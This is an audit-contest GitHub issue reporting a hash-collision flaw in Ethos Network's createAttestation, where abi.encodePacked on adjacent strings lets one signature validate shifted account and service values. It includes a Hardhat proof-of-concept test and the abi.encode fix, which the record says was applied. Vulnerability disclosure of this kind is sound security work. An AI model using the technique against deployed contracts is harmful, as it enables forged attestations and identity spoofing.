search

sherlock-audit / 2024-10-ethos-network-judging

0 stars 0 forks source link

Boy2000 - createAttestation: Hash collision due to abi.encodePacked #3

Open sherlock-admin4 opened 1 month ago

sherlock-admin4 commented 1 month ago

Boy2000

High

createAttestation: Hash collision due to abi.encodePacked

Summary

createAttestation uses the functions: _keccakForCreateAttestation and getServiceAndAccountHash, which both apply keccak256 to abi.encodePacked output. Both functions accept strings as their input parameters, as such when abi.encodePacked concatenates them, there is an ambiguity where one string ends and starts.

Root Cause

https://github.com/sherlock-audit/2024-10-ethos-network/blob/main/ethos/packages/contracts/contracts/EthosAttestation.sol#L521

return keccak256(abi.encodePacked(profileId, randValue, account, service, evidence));

Thus it is possible to "move" the string values, while still generating the same hash output (and same valid signature)

'real_user' + 'discord.com' + 'discord.com/my_evidence_url'
==
'real_userdiscord.com' + 'discord.com' + '/my_evidence_url'

or

'real_user' + 'spacex.com' + 'spacex.com/my_evidence_url'
==
'real_userspace' + 'x.com' + 'spacex.com/my_evidence_url'

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

No response

Impact

PoC

// EthosAttestation.test.ts
it.only('hash_collision', async () => {
  const {
    OWNER,
    PROFILE_CREATOR_0,
    ethosProfile,
    ethosAttestation,
    EXPECTED_SIGNER,
  } = await loadFixture(deployFixture);

  await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address);
  await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1);

  const creator0profileId = String(
    await ethosProfile.profileIdByAddress(PROFILE_CREATOR_0.address),
  );

  const randValue = '123';

  const signature = await common.signatureForCreateAttestation(
    creator0profileId,
    randValue,
    'real_user',
    'discord.com',
    'discord.com/my_evidence_url',
    EXPECTED_SIGNER,
  );

  await
    ethosAttestation
      .connect(PROFILE_CREATOR_0)
      .createAttestation(
        creator0profileId,
        randValue,
        { account: 'real_userdiscord.com', service: 'discord.com' }, // bug : should fail
        '/my_evidence_url',
        signature,
      );
});

Mitigation

Use abi.encode.

sherlock-admin2 commented 1 week ago

The protocol team fixed this issue in the following PRs/commits: https://github.com/trust-ethos/ethos/pull/2072